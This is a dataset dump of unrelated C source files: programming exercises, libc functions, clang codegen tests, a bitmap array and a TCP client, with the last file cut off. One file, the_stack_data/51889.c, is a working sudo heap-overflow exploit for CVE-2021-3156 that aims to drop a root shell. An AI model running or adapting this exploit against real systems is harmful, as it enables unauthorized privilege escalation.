file
stringlengths
18
26
data
stringlengths
2
1.05M
the_stack_data/121620.c
#include <stdio.h> void scilab_rt_barh_i0d0i0_(int scalarin0, double scalarin1, int scalarin2) { printf("%d", scalarin0); printf("%f", scalarin1); printf("%d", scalarin2); }
the_stack_data/106166.c
#include <stdio.h> void some_dummy_func(void) { static int i; printf("some_dummy_func: Counter = %d\n", i++); i++; }
the_stack_data/29391.c
#include <stdio.h> int bsearch(int arr[], int l, int h, int key) { if (l <= h) { int m = (l + h) / 2; if (arr[m] == key) return m; else if (arr[m] > key) return bsearch(arr, l, m - 1, key); else return bsearch(arr, m + 1, h, key); } return -1; } void main() { int arr[7] = {1, 2, 3, 4, 5, 6, 7}; printf("%d\n", bsearch(arr, 0, 6, 7)); }
the_stack_data/153267199.c
#include<stdio.h> int main(){ int x,y,sonuc; printf("1. Sayiyi Giriniz = "); scanf("%d",&x); printf("2. Sayiyi Giriniz = "); scanf("%d",&y); sonuc=x-y; printf("%d - %d = %d\n",x,y,sonuc); sonuc=x+y; printf("%d + %d = %d\n",x,y,sonuc); sonuc=x%y; printf("%d %% %d = %d\n",x,y,sonuc); return 0; }
the_stack_data/111077914.c
#include<stdio.h> int main() { int n=12; int i,j,k; for(i=n;i>=1;i--) { for(j=1;j<=n-i;j++) { printf(" "); } for(k=1;k<=2*i-1;k++) { if(k%2==0) { printf("-%d,",k); } else{ printf("%d,",k); } } printf("\n"); } return 0; }
the_stack_data/28019.c
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdbool.h> #define BINGO_ROW_SIZE 5 #define BINGO_BOARD_SIZE BINGO_ROW_SIZE * BINGO_ROW_SIZE #define BINGO_BOARD_COUNT_MAX 200 #define BINGO_NUMBERS_MAX 100 struct bingo_board { bool resolved; int data[BINGO_ROW_SIZE * BINGO_ROW_SIZE]; bool marked[BINGO_ROW_SIZE * BINGO_ROW_SIZE]; }; void init_board(struct bingo_board *board) { board->resolved = false; for (int i = 0; i < BINGO_BOARD_SIZE; i++) { board->data[i] = 0; board->marked[i] = false; } } int unmarked_sum(struct bingo_board *board) { int sum = 0; for (int i = 0; i < BINGO_BOARD_SIZE; i++) { if (board->marked[i]) continue; sum += board->data[i]; } return sum; } bool is_row_complete(struct bingo_board *board, int row) { for (int i = 0; i < BINGO_ROW_SIZE; i++) { if (!board->marked[row * BINGO_ROW_SIZE + i]) return false; } return true; } bool is_col_complete(struct bingo_board *board, int col) { for (int i = 0; i < BINGO_ROW_SIZE; i++) { if (!board->marked[col + i * BINGO_ROW_SIZE]) return false; } return true; } bool is_complete(struct bingo_board *board) { if (board->resolved) return true; for (int i = 0; i < BINGO_ROW_SIZE; i++) { if (is_row_complete(board, i)) { board->resolved = true; break; } if (is_col_complete(board, i)) { board->resolved = true; break; } } return board->resolved; } void mark_board(struct bingo_board *board, int number) { for (int i = 0; i < BINGO_BOARD_SIZE; i++) { if (board->data[i] == number) board->marked[i] = true; } } void print_board(struct bingo_board *board) { printf("---------\n"); for (int i = 0; i < BINGO_ROW_SIZE * BINGO_ROW_SIZE; i++) { if (i % 5 == 0) printf("\n"); if (board->marked[i]) { printf("(%d)\t", board->data[i]); } else { printf("%d\t", board->data[i]); } } printf("\n"); } int parse_numbers(char *input, int output[]) { int pos = 0; int current; int i = 0; int j = 0; char buf[3]; bool running = true; while (running) { switch (input[i]) { case '\0': running = false; // Continue as if the last char was a "," case ',': buf[j] = '\0'; j = 0; current = atoi(buf); output[pos] = current; pos++; break; default: buf[j] = input[i]; j++; } i++; } return pos; } int parse_input(FILE *file, int numbers[], int *number_count, struct bingo_board boards[], int *board_count) { char numbers_raw[1024]; fscanf(file, "%s\n", numbers_raw); int input_count = parse_numbers(numbers_raw, numbers); if (input_count <= 0) { printf("failed to parse numbers\n"); return 1; } *number_count = input_count; int row = 0; int i = 0; int x_1, x_2, x_3, x_4, x_5; while(fscanf(file, "%d %d %d %d %d\n", &x_1, &x_2, &x_3, &x_4,&x_5) != EOF) { if (row == 5) { i++; row = 0; } boards[i].data[row * BINGO_ROW_SIZE + 0] = x_1; boards[i].data[row * BINGO_ROW_SIZE + 1] = x_2; boards[i].data[row * BINGO_ROW_SIZE + 2] = x_3; boards[i].data[row * BINGO_ROW_SIZE + 3] = x_4; boards[i].data[row * BINGO_ROW_SIZE + 4] = x_5; row++; } i++; *board_count = i; fclose(file); return 0; } int main(int argc, char *argv[]) { if (argc != 2) { printf("Missing input file"); return 1; } FILE *file = fopen(argv[1], "r"); if (file == NULL) { printf("Failed to open the input file"); return 1; } int numbers_count, board_count; int numbers[BINGO_NUMBERS_MAX]; struct bingo_board boards[BINGO_BOARD_COUNT_MAX]; for (int i = 0; i < BINGO_BOARD_COUNT_MAX; i++) { init_board(&boards[i]); } if (parse_input(file, numbers, &numbers_count, boards, &board_count) != 0) { printf("Failed to parse input...\n"); return 1; } int resolved = 0; for (int n = 0; n < numbers_count; n++) { for (int i = 0; i < board_count; i++) { if (is_complete(&boards[i])) continue; mark_board(&boards[i], numbers[n]); if (is_complete(&boards[i])) { resolved++; if (resolved != board_count) continue; int sum = unmarked_sum(&boards[i]); printf("%d\n", sum * numbers[n]); return 0; } } } return 0; }
the_stack_data/76699016.c
#include <stdio.h> #include <stdlib.h> void print_array(int* array, int size){ for(int i = 0; i < size; i++){ printf("%d ", array[i]); } printf("\n"); } void swap (int* array, int i, int j){ int tmp; tmp = array[i]; array[i] = array[j]; array[j] = tmp; return; } void bubble_sort(int* array, int size){ int i, j; for(i = size - 1; i >= 0; i--){ for(j = size - 1; j >= 1; j--){ if(array[j] < array[j-1]){ swap(array, j, j-1); } } print_array(array, size); } return; } int main (void){ int size, value, *array; while(scanf("%d", &size) != EOF){ array = malloc (size * sizeof (int)); for(int i = 0; i < size; i++){ scanf("%d", &value); array[i] = value; } print_array(array, size); bubble_sort (array, size); free(array); } return 0; }
the_stack_data/184519194.c
// RUN: %clang_cc1 %s -emit-llvm -w -triple x86_64-apple-darwin10 -fsanitize=array-bounds -o - | FileCheck %s // CHECK-LABEL: define i32 @foo( int foo(int *const p __attribute__((pass_object_size(0))), int n) { int x = (p)[n]; // CHECK: [[SIZE_ALLOCA:%.*]] = alloca i64, align 8 // CHECK: store i64 %{{.*}}, i64* [[SIZE_ALLOCA]], align 8 // CHECK: [[LOAD_SIZE:%.*]] = load i64, i64* [[SIZE_ALLOCA]], align 8, !nosanitize // CHECK-NEXT: [[SCALED_SIZE:%.*]] = udiv i64 [[LOAD_SIZE]], 4, !nosanitize // CHECK-NEXT: [[SEXT_N:%.*]] = sext i32 %{{.*}} to i64, !nosanitize // CHECK-NEXT: [[ICMP:%.*]] = icmp ult i64 [[SEXT_N]], [[SCALED_SIZE]], !nosanitize // CHECK-NEXT: br i1 [[ICMP]], {{.*}} !nosanitize // CHECK: __ubsan_handle_out_of_bounds { int **p = &p; // Shadow the parameter. The pass_object_size info is lost. // CHECK-NOT: __ubsan_handle_out_of_bounds x = *p[n]; } // CHECK: ret i32 return x; } typedef struct {} ZeroSizedType; // CHECK-LABEL: define void @bar( ZeroSizedType bar(ZeroSizedType *const p __attribute__((pass_object_size(0))), int n) { // CHECK-NOT: __ubsan_handle_out_of_bounds // CHECK: ret void return p[n]; } // CHECK-LABEL: define i32 @baz( int baz(int *const p __attribute__((pass_object_size(1))), int n) { // CHECK: __ubsan_handle_out_of_bounds // CHECK: ret i32 return p[n]; } // CHECK-LABEL: define i32 @mat( int mat(int *const p __attribute__((pass_object_size(2))), int n) { // CHECK-NOT: __ubsan_handle_out_of_bounds // CHECK: ret i32 return p[n]; } // CHECK-LABEL: define i32 @pat( int pat(int *const p __attribute__((pass_object_size(3))), int n) { // CHECK-NOT: __ubsan_handle_out_of_bounds // CHECK: ret i32 return p[n]; } // CHECK-LABEL: define i32 @cat( int cat(int p[static 10], int n) { // CHECK-NOT: __ubsan_handle_out_of_bounds // CHECK: ret i32 return p[n]; } // CHECK-LABEL: define i32 @bat( int bat(int n, int p[n]) { // CHECK-NOT: __ubsan_handle_out_of_bounds // CHECK: ret i32 return p[n]; }
the_stack_data/173578642.c
/* com_abort.c, based on version from Parallel Communications Library Jim Teresco Rensselaer Polytechnic Institute Department of Computer Science Scientific Computation Research Center Adapted from PMDB, JDT, Wed Nov 22 15:36:53 EST 1995 Last change: Mon Nov 27 15:08:24 EST 1995 $Id$ $Log: com_abort.c,v $ Revision 1.1 2006/03/06 05:28:23 terescoj First prelim version Revision 1.1.1.1 2002/06/15 01:04:29 terescoj CVSing scorec util library Revision 1.2 2000/08/14 19:02:23 oklaas update to latest version of com Revision 1.1.1.1 1996/12/18 14:53:28 jteresco initial sources */ #include <stdio.h> #include <stdlib.h> void com_abort(char *function, char *msg) { if (function || msg) { fflush(stdout); fprintf(stderr,"ABORT in %s!\n",function); if (msg) fprintf(stderr," ErrMsg: %s\n",msg); } abort(); }
the_stack_data/25138083.c
/** * TCP Client */ #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <arpa/inet.h> int main(int argc, char *argv[]) { int sockfd = 0, n = 0; char recvBuff[1024]; struct sockaddr_in serv_addr; if(argc != 2) { printf("\n Usage: %s <ip of server> \n",argv[0]); return 1; } memset(recvBuff, '0',sizeof(recvBuff)); // a socket is created through call to socket() function if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("\n Error : Could not create socket \n"); return 1; } memset(&serv_addr, '0', sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(5000); if(inet_pton(AF_INET, argv[1], &serv_addr.sin_addr)<=0) { printf("\n inet_pton error occured\n"); return 1; } // Information like IP address of the remote host and its port is // bundled up in a structure and a call to function connect() is // made which tries to connect this socket with the socket (IP address // and port) of the remote host. if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) { printf("\n Error : Connect Failed \n"); return 1; } // Note that here we have not bind our client socket on a particular // port as client generally use port assigned by kernel as client // can have its socket associated with any port but In case of server // it has to be a well known socket, so known servers bind to a // specific port like HTTP server runs on port 80 etc while there is // no such restrictions on clients. // Once the sockets are connected, the server sends the data // (date+time) on clients socket through clients socket descriptor // and client can read it through normal read call on the its socket // descriptor. while ( (n = read(sockfd, recvBuff, sizeof(recvBuff)-1)) > 0) { recvBuff[n] = 0; if(fputs(recvBuff, stdout) == EOF) { printf("\n Error : Fputs error\n"); } } if(n < 0) printf("\n Read error \n"); return 0; }
the_stack_data/82950767.c
#include<stdio.h> int max(int *,int *); int main() { int a,b,c; int _max; int *p; p = &_max; printf("请输入a,b,c:\n"); scanf("%d,%d,%d",&a,&b,&c); _max = max(&a,&b); _max = max(p,&c); printf("max=%d\n",_max); return 0; } int max(int *a,int *b) { return *a>*b?*a:*b; }
the_stack_data/97013190.c
/* * Copyright (c) 1990 The Regents of the University of California. * All rights reserved. * * Redistribution and use in source and binary forms are permitted * provided that the above copyright notice and this paragraph are * duplicated in all such forms and that any documentation, * and/or other materials related to such * distribution and use acknowledge that the software was developed * by the University of California, Berkeley. The name of the * University may not be used to endorse or promote products derived * from this software without specific prior written permission. * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. */ /* FUNCTION <<putw>>---write a word (int) INDEX putw SYNOPSIS #include <stdio.h> int putw(int <[w]>, FILE *<[fp]>); DESCRIPTION <<putw>> is a function, defined in <<stdio.h>>. You can use <<putw>> to write a word to the file or stream identified by <[fp]>. As a side effect, <<putw>> advances the file's current position indicator. RETURNS Zero on success, <<EOF>> on failure. PORTABILITY <<putw>> is a remnant of K&R C; it is not part of any ISO C Standard. <<fwrite>> should be used instead. In fact, this implementation of <<putw>> is based upon <<fwrite>>. Supporting OS subroutines required: <<fwrite>>. */ #if defined(LIBC_SCCS) && !defined(lint) static char sccsid[] = "%W% (Berkeley) %G%"; #endif /* LIBC_SCCS and not lint */ #include <stdio.h> int putw (int w, register FILE *fp) { if (fwrite ((const char*)&w, sizeof (w), 1, fp) != 1) return EOF; return 0; }
the_stack_data/738012.c
#include <stddef.h> #if defined(__GNUC__) && defined(__linux__) #ifndef _GNU_SOURCE #define _GNU_SOURCE #include <sched.h> #endif cpu_set_t base_cpu_set; int profiling_setup = 0; void pypy_setup_profiling() { if (!profiling_setup) { cpu_set_t set; sched_getaffinity(0, sizeof(cpu_set_t), &base_cpu_set); CPU_ZERO(&set); CPU_SET(0, &set); /* restrict to a single cpu */ sched_setaffinity(0, sizeof(cpu_set_t), &set); profiling_setup = 1; } } void pypy_teardown_profiling() { if (profiling_setup) { sched_setaffinity(0, sizeof(cpu_set_t), &base_cpu_set); profiling_setup = 0; } } #elif defined(_WIN32) #include <windows.h> DWORD_PTR base_affinity_mask; int profiling_setup = 0; void pypy_setup_profiling() { if (!profiling_setup) { DWORD_PTR affinity_mask, system_affinity_mask; GetProcessAffinityMask(GetCurrentProcess(), &base_affinity_mask, &system_affinity_mask); affinity_mask = 1; /* Pick one cpu allowed by the system */ if (system_affinity_mask) while ((affinity_mask & system_affinity_mask) == 0) affinity_mask <<= 1; SetProcessAffinityMask(GetCurrentProcess(), affinity_mask); profiling_setup = 1; } } void pypy_teardown_profiling() { if (profiling_setup) { SetProcessAffinityMask(GetCurrentProcess(), base_affinity_mask); profiling_setup = 0; } } #else void pypy_setup_profiling() { } void pypy_teardown_profiling() { } #endif
the_stack_data/6998.c
#include<stdio.h> int main() { printf("Hello world, This is Yanadi Prudhvi"); }
the_stack_data/37155.c
#include <stdio.h> main() { int flag=1; mmcif_set_file(stdin); while(flag) { flag=mmcif_get_token(); if(!flag) { return; } printf("%d ", flag); printf("%s\n", mmcif_get_string()); } }
the_stack_data/98917.c
#include<stdio.h> int main() { int i, j, k; scanf("%d%d%d", &i, &j, &k); double avg = (double)(i+j+k) / 3.0; printf("%.3lf\n", avg); return 0; }
the_stack_data/97012218.c
/* * SPDX-FileCopyrightText: 2019-2021 Espressif Systems (Shanghai) CO LTD * * SPDX-License-Identifier: Apache-2.0 */ #include <stdbool.h> void bootloader_ana_super_wdt_reset_config(bool enable) { (void)enable; // ESP8684 has none of these features. } void bootloader_ana_bod_reset_config(bool enable) { (void)enable; // ESP8684 has none of these features. } void bootloader_ana_clock_glitch_reset_config(bool enable) { (void)enable; // ESP8684 has none of these features. }
the_stack_data/1186535.c
// RUN: %clang_cc1 -triple x86_64-unknown-nacl -emit-llvm -o - %s| FileCheck %s #include <stdarg.h> // Test for x86-64 structure representation (instead of pnacl representation), // in particular for unions. Also crib a few tests from x86 Linux. union PP_VarValue { int as_int; double as_double; long long as_i64; }; struct PP_Var { int type; int padding; union PP_VarValue value; }; // CHECK: define { i64, i64 } @f0() struct PP_Var f0() { struct PP_Var result = { 0, 0, 0 }; return result; } // CHECK-LABEL: define void @f1(i64 %p1.coerce0, i64 %p1.coerce1) void f1(struct PP_Var p1) { while(1) {} } // long doubles are 64 bits on NaCl // CHECK-LABEL: define double @f5() long double f5(void) { return 0; } // CHECK-LABEL: define void @f6(i8 signext %a0, i16 signext %a1, i32 %a2, i64 %a3, i8* %a4) void f6(char a0, short a1, int a2, long long a3, void *a4) { } // CHECK-LABEL: define i64 @f8_1() // CHECK-LABEL: define void @f8_2(i64 %a0.coerce) union u8 { long double a; int b; }; union u8 f8_1() { while (1) {} } void f8_2(union u8 a0) {} // CHECK-LABEL: define i64 @f9() struct s9 { int a; int b; int : 0; } f9(void) { while (1) {} } // CHECK-LABEL: define void @f10(i64 %a0.coerce) struct s10 { int a; int b; int : 0; }; void f10(struct s10 a0) {} // CHECK-LABEL: define double @f11() union { long double a; float b; } f11() { while (1) {} } // CHECK-LABEL: define i32 @f12_0() // CHECK-LABEL: define void @f12_1(i32 %a0.coerce) struct s12 { int a __attribute__((aligned(16))); }; struct s12 f12_0(void) { while (1) {} } void f12_1(struct s12 a0) {} // Check that sret parameter is accounted for when checking available integer // registers. // CHECK: define void @f13(%struct.s13_0* noalias sret %agg.result, i32 %a, i32 %b, i32 %c, i32 %d, {{.*}}* byval({{.*}}) align 8 %e, i32 %f) struct s13_0 { long long f0[3]; }; struct s13_1 { long long f0[2]; }; struct s13_0 f13(int a, int b, int c, int d, struct s13_1 e, int f) { while (1) {} } // CHECK-LABEL: define void @f20(%struct.s20* byval(%struct.s20) align 32 %x) struct __attribute__((aligned(32))) s20 { int x; int y; }; void f20(struct s20 x) {} // CHECK: declare void @func(i64) typedef struct _str { union { long double a; long c; }; } str; void func(str s); str ss; void f9122143() { func(ss); }
the_stack_data/10613.c
#include <stdlib.h> #include <stdio.h> #include <stdint.h> static inline uint16_t byte_swap_u16_ref(uint16_t x) { return (x >> 8) | (x << 8); } static inline uint16_t byte_swap_u16_asm(uint16_t x) { if (!__builtin_constant_p(x)) { __asm__ ("rev16 %w0, %w0" : "+r" (x)); return x; } return byte_swap_u16_ref(x); } static inline uint32_t byte_swap_u32_ref(uint32_t x) { return ((x << 24) | ((x & 0xff00) << 8) | ((x >> 8) & 0xff00) | (x >> 24)); } static inline uint32_t byte_swap_u32_asm(uint32_t x) { if (!__builtin_constant_p(x)) { __asm__ ("rev %w0, %w0" : "+r" (x)); return x; } return byte_swap_u32_ref(x); } static inline uint64_t byte_swap_u64_ref(uint64_t x) { #define _(x, n, i) \ ((((x) >> (8*(i))) & 0xff) << (8*((n)-(i)-1))) return (_(x, 8, 0) | _(x, 8, 1) | _(x, 8, 2) | _(x, 8, 3) | _(x, 8, 4) | _(x, 8, 5) | _(x, 8, 6) | _(x, 8, 7)); #undef _ } static inline uint64_t byte_swap_u64_asm(uint64_t x) { if (!__builtin_constant_p(x)) { __asm__ ("rev %w0, %w0" : "+r" (x)); return x; } return byte_swap_u64_ref(x); } #define byte_swap_u16 byte_swap_u16_asm #define byte_swap_u32 byte_swap_u32_asm #define byte_swap_u64 byte_swap_u64_asm #define TEST_NUM (100000000) int main() { volatile uint64_t x; uint64_t rv; rv = 0; for (x = 0; x < TEST_NUM; x++) { rv ^= byte_swap_u16(x); rv ^= byte_swap_u32(x); rv ^= byte_swap_u64(x); } return rv; }
the_stack_data/242330574.c
#include <stdio.h> int main() { int i, n_linhas; scanf("%d", &n_linhas); for (i = 0; i < n_linhas; i++) { printf("%d %d %d PUM\n", i * 4 + 1, i * 4 + 2, i * 4 + 3); } return 0; }
the_stack_data/140764357.c
#include <stdalign.h> #include <stddef.h> size_t mem_align(size_t size) { size_t align = alignof(max_align_t); if (size % align) { return size + (align - size % align); } return size; }
the_stack_data/51889.c
#include <unistd.h> // execve() #include <string.h> // strcat() /* Exploit for CVE-2021-3156, drops a root shell. * All credit for original research: Qualys Research Team. * https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit * */ void main(void) { // 'buf' size determines size of overflowing chunk. // This will allocate an 0xf0-sized chunk before the target service_user struct. int i; char buf[0xf0] = {0}; memset(buf, 'Y', 0xe0); strcat(buf, "\\"); char* argv[] = { "sudoedit", "-s", buf, NULL}; // Use some LC_ vars for heap Feng-Shui. // This should allocate the target service_user struct in the path of the overflow. char messages[0xe0] = {"LC_MESSAGES=en_US.UTF-8@"}; memset(messages + strlen(messages), 'A', 0xb8); char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"}; memset(telephone + strlen(telephone), 'A', 0x28); char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"}; memset(measurement + strlen(measurement), 'A', 0x28); // This environment variable will be copied onto the heap after the overflowing chunk. // Use it to bridge the gap between the overflow and the target service_user struct. char overflow[0x500] = {0}; memset(overflow, 'X', 0x4cf); strcat(overflow, "\\"); // Overwrite the 'files' service_user struct's name with the path of our shellcode library. // The backslashes write nulls which are needed to dodge a couple of crashes. char* envp[] = { overflow, "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "XXXXXXX\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", "x/x\\", "Z", messages, telephone, measurement, NULL}; // Invoke sudoedit with our argv & envp. execve("/usr/bin/sudoedit", argv, envp); }
the_stack_data/1189523.c
//------------------------------------------------------------------------------ // File generated by LCD Assistant // http://en.radzio.dxp.pl/bitmap_converter/ //------------------------------------------------------------------------------ const unsigned char EYR_ImageLogo[] = { 0xFF, 0x01, 0xFD, 0xFD, 0xFD, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xCD, 0xFD, 0xFD, 0xFD, 0xFD, 0x3D, 0x3D, 0x1D, 0x1D, 0x0D, 0x0D, 0x0D, 0x2D, 0xED, 0xED, 0xCD, 0xDD, 0x1D, 0x7D, 0xFD, 0xFD, 0xFD, 0xFD, 0xFD, 0xFD, 0xFD, 0xFD, 0xFD, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0x0D, 0xED, 0xED, 0xED, 0xED, 0xCD, 0xDD, 0xDD, 0x9D, 0x3D, 0x7D, 0xFD, 0xFD, 0xFD, 0xFD, 0xFD, 0xFD, 0x01, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xFF, 0xFF, 0xFF, 0xF0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0F, 0x0F, 0x67, 0xF0, 0xFC, 0xFF, 0xFF, 0xFF, 0x7F, 0x7F, 0x7F, 0x7F, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x07, 0x1F, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x07, 0xC1, 0xF8, 0xFE, 0xF8, 0xE0, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x07, 0x11, 0x78, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0x3F, 0x7F, 0x7F, 0x7F, 0x3F, 0xBF, 0x9F, 0xCF, 0xC7, 0xF0, 0xF8, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xFF, 0xFE, 0xF0, 0xF1, 0xE7, 0xEF, 0xEF, 0xEF, 0xEF, 0xE7, 0xF6, 0xF0, 0xF0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE1, 0xEF, 0xEF, 0xFF, 0xFF, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xFF, 0xFF, 0xFE, 0xF8, 0xF9, 0xF1, 0xF7, 0xE7, 0xE7, 0xEF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x83, 0xFF, 0x83, 0xFF, 0xFF, 0x03, 0xC7, 0x3F, 0xC7, 0x03, 0xFF, 0xFF, 0x0F, 0xEF, 0xEF, 0xFF, 0x07, 0xFB, 0xFB, 0xFB, 0x77, 0xFF, 0xFF, 0x03, 0xEF, 0xEF, 0x0F, 0xFF, 0xFF, 0x0F, 0xFF, 0xFF, 0x0F, 0xFF, 0xFF, 0x0F, 0xEF, 0xEF, 0x0F, 0xFF, 0xFF, 0x0F, 0xEF, 0x4F, 0xFF, 0xFF, 0x03, 0xBF, 0x4F, 0xFF, 0xFF, 0x0F, 0xFF, 0xFF, 0x0F, 0xFF, 0xFF, 0x0F, 0xAF, 0x8F, 0xFF, 0xFF, 0x0F, 0xAF, 0x8F, 0xFF, 0xFF, 0x83, 0xFF, 0x83, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xFF, 0xFF, 0x80, 0xBF, 0xBF, 0xBF, 0xBF, 0xBF, 0xBE, 0xBF, 0xBE, 0xBF, 0xBF, 0xBE, 0xBF, 0xBE, 0xBF, 0xBE, 0xBF, 0xBF, 0xBE, 0xBF, 0xBF, 0xBF, 0xBF, 0xBE, 0xBE, 0xBE, 0xBF, 0xBF, 0xBF, 0xBE, 0xBF, 0xBF, 0xBE, 0xBF, 0xBF, 0xBE, 0xBE, 0xBE, 0xBE, 0xBF, 0xBF, 0xBE, 0xBF, 0xBF, 0xBE, 0xBF, 0xBF, 0xBE, 0xBE, 0xBE, 0xBF, 0xBF, 0xBE, 0xBF, 0xBE, 0xBE, 0xBF, 0xBE, 0xBE, 0xBE, 0xBE, 0xBF, 0xBF, 0xBE, 0xBE, 0xBE, 0xBF, 0xBF, 0xBE, 0xBE, 0xBE, 0xBF, 0xBF, 0xBE, 0xBF, 0xBE, 0xBF, 0xBF, 0xBF, 0xBF, 0xBF, 0x80, 0xFF, };
the_stack_data/97901.c
/*- * Copyright (c) 1980, 1993 * The Regents of the University of California. All rights reserved. * * %sccs.include.proprietary.c% */ #ifndef lint static char sccsid[] = "@(#)linemod.c 8.1 (Berkeley) 06/04/93"; #endif /* not lint */ linemod(){ }
the_stack_data/38143.c
#include <stdio.h> void input( char *ID ) { scanf("%s", ID); } void check_and_print( char *ID ) { switch( ID[0] - 65 ) { case 0: printf("出生地:臺北市\n"); break; case 1: printf("出生地:臺中市\n"); break; case 2: printf("出生地:基隆市\n"); break; case 3: printf("出生地:臺南市\n"); break; case 4: printf("出生地:高雄市\n"); break; case 5: printf("出生地:新北市\n"); break; case 6: printf("出生地:宜蘭縣\n"); break; case 7: printf("出生地:桃園縣\n"); break; case 8: printf("出生地:嘉義市\n"); break; case 9: printf("出生地:新竹縣\n"); break; case 10: printf("出生地:苗栗縣\n"); break; case 11: printf("出生地:臺中縣\n"); break; case 12: printf("出生地:南投縣\n"); break; case 13: printf("出生地:彰化縣\n"); break; case 14: printf("出生地:新竹市\n"); break; case 15: printf("出生地:雲林縣\n"); break; case 16: printf("出生地:嘉義縣\n"); break; case 17: printf("出生地:臺南縣\n"); break; case 18: printf("出生地:高雄縣\n"); break; case 19: printf("出生地:屏東縣\n"); break; case 20: printf("出生地:花蓮縣\n"); break; case 21: printf("出生地:臺東縣\n"); break; case 22: printf("出生地:金門縣\n"); break; case 23: printf("出生地:澎湖縣\n"); break; case 24: printf("出生地:陽明山管理局\n"); break; case 25: printf("出生地:連江縣\n"); break; default : printf("格式錯誤!\n"); break; } } int main() { char ID[11]; input( ID ); check_and_print( ID ); return 0; }
the_stack_data/23574549.c
//copy input to output replacing strings of 1+ blanks by a single blank #include <stdio.h> #define NONBLANK 'a' main() { int c, lastc; lastc = NONBLANK; while ((c=getchar()) != EOF) { if ( c != ' ' || lastc != ' ') putchar(c); lastc = c; } }
the_stack_data/1248800.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h> #include <sys/stat.h> #include <unistd.h> /* Tokens: things which can't be split. * For instance, * TOK_LABEL includes everything from 'import' to 'quit' to 'try' * TOK_NUMBER is: 3j, 1.05e-55 * TOK_STRING is: a'BDEFDSF' r'GSGFDG' b"\"\"\'''" """ afsfa """ * TOK_OBRACE is: any of ( { [ * TOK_CBRACE is: any of ] } ) * TOK_COMMENT is: a comment! * TOK_OPERATOR is: * ^ | |= @= * TOK_EXP is: ** * TOK_PM is: + - * TOK_COLON is: : */ enum { TOK_LABEL, TOK_SPECIAL, TOK_NUMBER, TOK_STRING, TOK_TRISTR, TOK_OBRACE, TOK_CBRACE, TOK_COMMENT, TOK_EQUAL, TOK_OPERATOR, TOK_COMMA, TOK_COLON, TOK_EXP, TOK_INBETWEEN, TOK_LCONT, TOK_DOT, TOK_UNARYOP, }; enum { LINE_IS_BLANK, LINE_IS_CONTINUATION, LINE_IS_TRISTR, LINE_IS_NORMAL, }; enum { SSCORE_COMMENT = 10000, SSCORE_NESTING = -100 }; struct vlbuf { union { void *vd; char *ch; int *in; } d; size_t len; size_t esize; }; struct vlbuf vlbuf_make(size_t es) { struct vlbuf ib; ib.esize = es; ib.len = 16; ib.d.vd = malloc(ib.len * ib.esize); return ib; } static size_t vlbuf_expand(struct vlbuf *ib, size_t minsize) { do { ib->len *= 2; } while (ib->len <= minsize); ib->d.vd = realloc(ib->d.vd, ib->len * ib->esize); return 